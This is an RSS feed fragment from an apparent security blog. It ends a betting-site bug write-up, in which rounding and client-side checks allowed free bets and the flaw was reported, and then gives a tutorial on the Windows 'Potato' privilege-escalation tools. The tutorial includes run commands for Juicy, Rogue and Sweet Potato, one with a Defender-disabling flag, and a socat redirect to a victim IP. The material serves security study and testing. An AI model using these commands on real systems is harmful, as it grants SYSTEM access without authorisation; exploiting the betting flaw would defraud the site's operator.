&quot;Gain&quot; : 0.128
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After trying to place again this small quantity (&lt;em&gt;0.001€&lt;/em&gt;), no error is thrown from the server-side, and the response body shows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
&quot;Gain&quot; : 0
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this, we can confirm that the minimum quantity check is performed only client-side, however, there is no impact on the application right now.&lt;/p&gt;

&lt;h3 id=&quot;rounding-algorithm&quot;&gt;Rounding algorithm&lt;/h3&gt;

&lt;p&gt;When playing around with small amounts on the betting process we observe that the &lt;em&gt;Gain&lt;/em&gt; value is changing. To better understand the behavior, the following table reflects the association betting amount/gain value:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Manual Calculation&lt;/th&gt;
      &lt;th&gt;Betting Amount&lt;/th&gt;
      &lt;th&gt;Gain Response&lt;/th&gt;
      &lt;th&gt;Output in the application&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0.001 * 1.28 = 0.00128&lt;/td&gt;
      &lt;td&gt;0.001&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;Betting amount:0.00€     Gain: N/A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0.003 * 1.28 = 0.00384&lt;/td&gt;
      &lt;td&gt;0.003&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;Betting amount:0.00€     Gain: N/A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0.004 * 1.28 = 0.00512&lt;/td&gt;
      &lt;td&gt;0.004&lt;/td&gt;
      &lt;td&gt;0.01&lt;/td&gt;
      &lt;td&gt;Betting amount:0.00€     Gain: 0.01€&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0.007 * 1.28 = 0.00896&lt;/td&gt;
      &lt;td&gt;0.007&lt;/td&gt;
      &lt;td&gt;0.01&lt;/td&gt;
      &lt;td&gt;Betting amount:0.01€     Gain: 0.01€&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The conclusion to be drawn here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A betting amount less than 0.005 will reflect on the application &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Betting amount:0.00€&lt;/code&gt;. Therefore a rounding algorithm exists on the betting amount.&lt;/li&gt;
  &lt;li&gt;An odd less than 0.005 will reflect on the application &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Gain: N/A&lt;/code&gt;, however an odd equal or greater than 0.005 will reflect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Gain: 0.01€&lt;/code&gt;. Therefore a rounding algorithm exists on the gain amount.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Therefore, a betting amount less than 0.005 with a Gain greater than 0.00499 will allow betting free with a possibility of winning 0.01€.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;However, is this really working? Or this behavior is observed but in the end, our wallet is being decreased accordingly?&lt;/p&gt;

&lt;p&gt;If we place 3 bets of 0.004€ = 0.012€, we will see a 0.01€ decrease from our wallet if the application is doing it right.&lt;/p&gt;

&lt;p&gt;However, after placing 3 bets, &lt;strong&gt;our wallet is not decreased&lt;/strong&gt;.&lt;/p&gt;

&lt;iframe src=&quot;https://giphy.com/embed/9rwJNLBu8FMfixoIxL&quot; width=&quot;480&quot; height=&quot;270&quot; frameborder=&quot;0&quot; class=&quot;giphy-embed&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href=&quot;https://giphy.com/gifs/andersonpaak-money-bills-9rwJNLBu8FMfixoIxL&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Having this scenario, the next step that came to our mind was to place 600 bets to confirm the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;200 first team win + 200 drawn + 200 second team win&lt;/em&gt;, covering with this all the possible scenarios.&lt;/p&gt;

&lt;p&gt;After placing the 600 bets, our wallet was not decreased :)&lt;/p&gt;

&lt;p&gt;When the match finished…&lt;/p&gt;

&lt;p&gt;We won 2€ as a proof of concept and reported to the client.&lt;/p&gt;

&lt;p&gt;I know what you are thinking and yes… we reported to the client…&lt;/p&gt;

&lt;p&gt;Greetings from Bahamas.&lt;/p&gt;
</description>
          <pubDate>2022-02-21T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/Betting_Bug</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Betting_Bug</guid>
        </item>
      
    
      
        <item>
          <title>Potatoes - Windows Privilege Escalation</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Potatoes - Windows Privilege Escalation&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20201122/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hot&lt;/em&gt;, &lt;em&gt;Rotten&lt;/em&gt;, &lt;em&gt;Lonely&lt;/em&gt;, &lt;em&gt;Juicy&lt;/em&gt;, &lt;em&gt;Rogue&lt;/em&gt;, &lt;em&gt;Sweet&lt;/em&gt;, &lt;em&gt;Generic&lt;/em&gt; potatoes. There are a lot of different &lt;em&gt;potatoes&lt;/em&gt; used to escalate privileges from &lt;em&gt;Windows Service Accounts&lt;/em&gt; to &lt;em&gt;NT AUTHORITY/SYSTEM&lt;/em&gt;. But, what are the differences? When should I use each one? Do they still work? This post is a summary of each kind of potato, when to use it and how to achieve successful exploitation.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#hotPotato&quot;&gt;Hot Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#rottenPotato&quot;&gt;Rotten Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#lonelyPotato&quot;&gt;Lonely Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#juicyPotato&quot;&gt;Juicy Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#roguePotato&quot;&gt;Rogue Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sweetPotato&quot;&gt;Sweet Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#genericPotato&quot;&gt;Generic Potato&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL/DR&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Use Sweet Potato to rule them all - &lt;a href=&quot;#sweetPotato&quot;&gt;Sweet Potato&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you do not want to use Sweet Potato:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try &lt;a href=&quot;#roguePotato&quot;&gt;Rogue Potato&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try &lt;a href=&quot;#juicyPotato&quot;&gt;Juicy Potato&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;hot-potato&quot;&gt;&lt;a name=&quot;hotPotato&quot;&gt;&lt;/a&gt;Hot Potato&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hot Potato&lt;/strong&gt; was the first potato and was the code name of a Windows privilege escalation technique discovered by Stephen Breen &lt;a href=&quot;https://twitter.com/breenmachine&quot;&gt;@breenmachine&lt;/a&gt;. This vulnerability affects Windows 7, 8, 10, Server 2008, and Server 2012.&lt;/p&gt;

&lt;h4 id=&quot;how-does-this-works&quot;&gt;How does this works?&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20201122/Diagram_1.png&quot; alt=&quot;Image Diagram 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Therefore, the vulnerability uses the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; Local NBNS Spoofer: To impersonate the name resolution and force the system to download a malicious WAPD configuration.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; Fake WPAD Proxy Server: Deploys a malicios WAPD configuration to force the system to perform a NTLM authentication&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; HTTP -&amp;gt; SMB NTLM Relay: Relays the WAPD NTLM token to the SMB service to create an elevated process.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To understand deeper this technique, the researchers post/video are recommended:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://foxglovesecurity.com/2016/01/16/hot-potato/&quot;&gt;https://foxglovesecurity.com/2016/01/16/hot-potato/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8Wjs__mWOKI&quot;&gt;https://www.youtube.com/watch?v=8Wjs__mWOKI&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h4&gt;

&lt;p&gt;Download the binary from the repository: &lt;a href=&quot;https://github.com/foxglovesec/Potato&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;is-this-vulnerability-exploitable-right-now&quot;&gt;Is this vulnerability exploitable right now?&lt;/h4&gt;

&lt;p&gt;Microsoft patched this (MS16-075) by disallowing same-protocol NTLM authentication using a challenge that is already in flight. What this means is that &lt;strong&gt;SMB-&amp;gt;SMB NTLM relay from one host back to itself will no longer work&lt;/strong&gt;.
MS16-077 WPAD Name Resolution will not use NetBIOS (CVE-2016-3213) and does not send credential when requesting the PAC file(CVE-2016-3236). &lt;strong&gt;WAPD MITM Attack is patched.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Time to &lt;strong&gt;Rotten Potato&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;rotten-potato&quot;&gt;&lt;a name=&quot;rottenPotato&quot;&gt;&lt;/a&gt;Rotten Potato&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Rotten Potato&lt;/strong&gt; is quite complex, but mainly it uses 3 things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; &lt;em&gt;RPC&lt;/em&gt; that is running through &lt;em&gt;NT AUTHORITY/SYSTEM&lt;/em&gt; that is going to try to authenticate to our local proxy through the &lt;em&gt;CoGetInstanceFromIStorage&lt;/em&gt; API Call.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; &lt;em&gt;RPC&lt;/em&gt; in port 135 that is going to be used to reply all the request that the first &lt;em&gt;RPC&lt;/em&gt; is performing. It is going to act as a template.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; &lt;em&gt;AcceptSecurityContext&lt;/em&gt; API call to locally impersonate &lt;em&gt;NT AUTHORITY/SYSTEM&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20201122/Diagram_2.png&quot; alt=&quot;Image Diagram 2&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; Trick RPC to authenticate to the proxy with the &lt;em&gt;CoGetInstanceFromIStorage&lt;/em&gt; API call. In this call the proxy IP/Por t is specified.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; RPC send a &lt;em&gt;NTLM Negotiate&lt;/em&gt; package to the proxy.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; The proxy &lt;strong&gt;relies&lt;/strong&gt; the &lt;em&gt;NTLM Negotiate&lt;/em&gt; to RPC in port 135, to be used as a template.
At the same time, a call to &lt;em&gt;AcceptSecurityContext&lt;/em&gt; is performed to force a local authentication. Notice that this package is modified to force the local authentication.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4. &amp;amp; 5.&lt;/strong&gt; &lt;em&gt;RPC 135&lt;/em&gt; and &lt;em&gt;AcceptSecurityContext&lt;/em&gt; replies with a &lt;em&gt;NTLM Challenge&lt;/em&gt; . The content of both packets are mixed to match a local negotiation and is forwarded to the &lt;em&gt;RPC&lt;/em&gt;, step &lt;strong&gt;6.&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;7.&lt;/strong&gt; &lt;em&gt;RPC&lt;/em&gt; responds with a &lt;em&gt;NLTM Auth&lt;/em&gt; package that is send to &lt;em&gt;AcceptSecurityContext&lt;/em&gt; (&lt;strong&gt;8.&lt;/strong&gt;) and the &lt;strong&gt;impersonation&lt;/strong&gt; is performed (&lt;strong&gt;9.&lt;/strong&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To understand deeper this technique, the researchers post/video are recommended:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/&quot;&gt;https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8Wjs__mWOKI&quot;&gt;https://www.youtube.com/watch?v=8Wjs__mWOKI&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;exploitation-1&quot;&gt;Exploitation&lt;/h4&gt;

&lt;p&gt;Download the binary from the repository: &lt;a href=&quot;https://github.com/breenmachine/RottenPotatoNG&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After having a &lt;em&gt;meterpreter&lt;/em&gt; shell with &lt;em&gt;incognito mode&lt;/em&gt; loaded:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MSFRottenPotato.exe t c:\windows\temp\test.bat
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;is-this-vulnerability-exploitable-right-now-1&quot;&gt;Is this vulnerability exploitable right now?&lt;/h4&gt;

&lt;p&gt;Decoder analyzed if this technique could be exploited in the latest Windows version, in this blog post: &lt;a href=&quot;https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/&quot;&gt;https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To sum up:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;DCOM does not talk to our local listeners, so no MITM and no exploit.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sending the packets to a host under our control listening on port 135, and then forward the data to our local COM listener does not work. The problem is that in this case, the client will not negotiate a Local Authentication.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Therefore, this technique won’t work on versions &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;lonely-potato&quot;&gt;&lt;a name=&quot;lonelyPotato&quot;&gt;&lt;/a&gt;Lonely Potato&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Lonely Potato&lt;/strong&gt; was the adaptation of &lt;strong&gt;Rotten Potato&lt;/strong&gt; without relying on meterpreter and the “incognito” module made by &lt;em&gt;Decoder&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://decoder.cloud/2017/12/23/the-lonely-potato/&quot;&gt;https://decoder.cloud/2017/12/23/the-lonely-potato/&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;is-this-vulnerability-exploitable-right-now-2&quot;&gt;Is this vulnerability exploitable right now?&lt;/h4&gt;

&lt;p&gt;Lonely Potato is deprecated and after visiting the &lt;a href=&quot;https://github.com/decoder-it/lonelypotato&quot;&gt;repository&lt;/a&gt;, there is an indication to move to &lt;strong&gt;Juicy Potato&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;juicy-potato&quot;&gt;&lt;a name=&quot;juicyPotato&quot;&gt;&lt;/a&gt;Juicy Potato&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Juicy Potato&lt;/strong&gt; is Rotten Potato on steroids. It allows a more flexible way to exploit the vulnerability. In this case, &lt;a href=&quot;http://ohpe.it/juicy-potato/&quot;&gt;ohpe &amp;amp; decoder&lt;/a&gt; during a Windows build review found a setup where &lt;strong&gt;BITS&lt;/strong&gt; was intentionally disabled and port &lt;strong&gt;6666&lt;/strong&gt; was taken, therefore &lt;strong&gt;Rotten Potato&lt;/strong&gt; PoC won’t work.&lt;/p&gt;

&lt;h4 id=&quot;what-are-bits-and-clsid&quot;&gt;What are BITS and CLSID?&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;CLSID&lt;/strong&gt; is a globally unique identifier that identifies a COM class object. It is an &lt;em&gt;identifier&lt;/em&gt; like &lt;em&gt;UUID&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Background Intelligent Transfer Service (BITS)&lt;/strong&gt; is used by programmers and system administrators to download files from or upload files to HTTP web servers and SMB file shares. The point is that &lt;em&gt;BITs&lt;/em&gt; implements the &lt;em&gt;IMarshal&lt;/em&gt; interface and allows the proxy declaration to force the NTLM Authentication.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Rotten Potato&lt;/strong&gt;’s PoC used BITS with a default CLSID&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Use a known local system service COM server, in this cast BITSv1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Guid&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clsid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Guid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;4991d34b-80a1-4291-83b6-3328366b9097&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;They discovered that other than BITS there are several out of process COM servers identified by specific CLSIDs that could be abused. They need al least to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Be instantiable by the current user, normally a &lt;em&gt;service user&lt;/em&gt; which has impersonation privileges&lt;/li&gt;
  &lt;li&gt;Implement the &lt;em&gt;IMarshal&lt;/em&gt; interface&lt;/li&gt;
  &lt;li&gt;Run as an elevated user (&lt;em&gt;SYSTEM&lt;/em&gt;, &lt;em&gt;Administrator&lt;/em&gt;, …)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And they found a lot of them: &lt;a href=&quot;http://ohpe.it/juicy-potato/CLSID/&quot;&gt;http://ohpe.it/juicy-potato/CLSID/&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;what-are-the-advantages&quot;&gt;What are the advantages?&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;We do not need to have a meterpreter shell&lt;/li&gt;
  &lt;li&gt;We can specify our COM server listen port&lt;/li&gt;
  &lt;li&gt;We can specify with CLSID to abuse&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;exploitation-2&quot;&gt;Exploitation&lt;/h4&gt;

&lt;p&gt;Download the binary from the repository: &lt;a href=&quot;https://github.com/ohpe/juicy-potato&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;does-this-still-works&quot;&gt;Does this still works?&lt;/h4&gt;

&lt;p&gt;Same case as &lt;strong&gt;Rotten potato&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;rogue-potato&quot;&gt;&lt;a name=&quot;roguePotato&quot;&gt;&lt;/a&gt;Rogue Potato&lt;/h2&gt;

&lt;p&gt;After reading fixes regarding &lt;strong&gt;Rotten/Juicy potato&lt;/strong&gt;, the following conclusions can be drawn:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You cannot specify a custom port for OXID resolver address in latest Windows versions&lt;/li&gt;
  &lt;li&gt;If you redirect the OXID resolution requests to a remote server on port 135 under your control and the forward the request to your local Fake RPC server, you will obtain only an ANONYMOUS LOGON.&lt;/li&gt;
  &lt;li&gt;If you resolve the OXID Resolution request to a fake RPC Server, you will obtain an identification token during the &lt;em&gt;IRemUnkown2&lt;/em&gt; interface query.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;how-does-this-works-1&quot;&gt;How does this works?&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20201122/Diagram_3.png&quot; alt=&quot;Image Diagram 3&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Rogue Potato&lt;/strong&gt; instruct the DCOM server to perform a &lt;strong&gt;remote OXID query&lt;/strong&gt; by specifying a remote IP (Attacker IP)&lt;/li&gt;
  &lt;li&gt;On the remote IP, setup a “socat” listener for redirecting the OXID resolutions requests to a fake &lt;strong&gt;OXID RPC Server&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The fake &lt;strong&gt;OXID RPC server&lt;/strong&gt; implements the &lt;em&gt;ResolveOxid2&lt;/em&gt; server procedure, which will point to a controlled &lt;em&gt;Named Pipe&lt;/em&gt; [&lt;em&gt;ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]&lt;/em&gt;].&lt;/li&gt;
  &lt;li&gt;The DCOM server will connect to the RPC server in order to perform the &lt;em&gt;IRemUnkown2&lt;/em&gt; interface call. By connecting to the &lt;em&gt;Named Pipe&lt;/em&gt;, an “Autentication Callback” will be performed and we could impersonate the caller via RpcImpersonateClient() call.&lt;/li&gt;
  &lt;li&gt;Then, a &lt;strong&gt;token stealer&lt;/strong&gt; will:
    &lt;ul&gt;
      &lt;li&gt;Get the PID of the &lt;em&gt;rpcss&lt;/em&gt; service&lt;/li&gt;
      &lt;li&gt;Open the process, list all handles and for each handle try to duplicate it and get the handle type&lt;/li&gt;
      &lt;li&gt;If handle type is “Token” and token owner is SYSTEM, try to impersonate and launch a process with &lt;em&gt;CreatProcessAsUser()&lt;/em&gt; or &lt;em&gt;CreateProcessWithToken()&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To dig deeper read the author’s blog post: &lt;a href=&quot;https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/&quot;&gt;https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;what-do-you-need-to-make-it-work&quot;&gt;What do you need to make it work?&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;You need to have  a machine under your control where you can perform the redirect and this machine must be accessible on &lt;strong&gt;port 135&lt;/strong&gt; by the victim&lt;/li&gt;
  &lt;li&gt;Upload both exe files from the &lt;a href=&quot;https://github.com/antonioCoco/RoguePotato&quot;&gt;PoC&lt;/a&gt;. In fact it is also possible to launch the fake OXID Resolver in standalone mode on a Windows machine  under our control when the victim’s firewall won’t accept incoming connections.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More info: &lt;a href=&quot;https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html&quot;&gt;https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;exploitation-3&quot;&gt;Exploitation&lt;/h4&gt;

&lt;p&gt;Download the binary from the repository: &lt;a href=&quot;https://github.com/antonioCoco/RoguePotato&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run in your machine the &lt;em&gt;socat&lt;/em&gt; redirection (replace &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VICTIM_IP&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Execute PoC (replace &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YOUR_IP&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.\RoguePotato.exe -r YOUR_IP -e &quot;command&quot; -l 9999
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;sweet-potato&quot;&gt;&lt;a name=&quot;sweetPotato&quot;&gt;&lt;/a&gt;Sweet Potato&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Sweet Potato&lt;/strong&gt; is a collection of various native Windows privilege escalation techniques from service accounts to SYSTEM. It has been created by &lt;a href=&quot;https://twitter.com/_EthicalChaos_&quot;&gt;@&lt;em&gt;EthicalChaos&lt;/em&gt;&lt;/a&gt; and includes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;RottenPotato&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Weaponized JuciyPotato&lt;/strong&gt; with BITS WinRM discovery&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;PrintSpoofer&lt;/strong&gt; discovery and original exploit&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;EfsRpc&lt;/strong&gt; built on EfsPotato&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;PetitPotam&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is the definitelly potatoe, a potatoe to rule them all.&lt;/p&gt;

&lt;h4 id=&quot;exploitation-4&quot;&gt;Exploitation&lt;/h4&gt;

&lt;p&gt;Download the binary from the repository: &lt;a href=&quot;https://github.com/CCob/SweetPotato&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./SweetPotato.exe

  -c, --clsid=VALUE          CLSID (default BITS:
                               4991D34B-80A1-4291-83B6-3328366B9097)
  -m, --method=VALUE         Auto,User,Thread (default Auto)
  -p, --prog=VALUE           Program to launch (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -e, --exploit=VALUE        Exploit mode
                               [DCOM|WinRM|EfsRpc|PrintSpoofer(default)]
  -l, --listenPort=VALUE     COM server listen port (default 6666)
  -h, --help                 Display this help

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

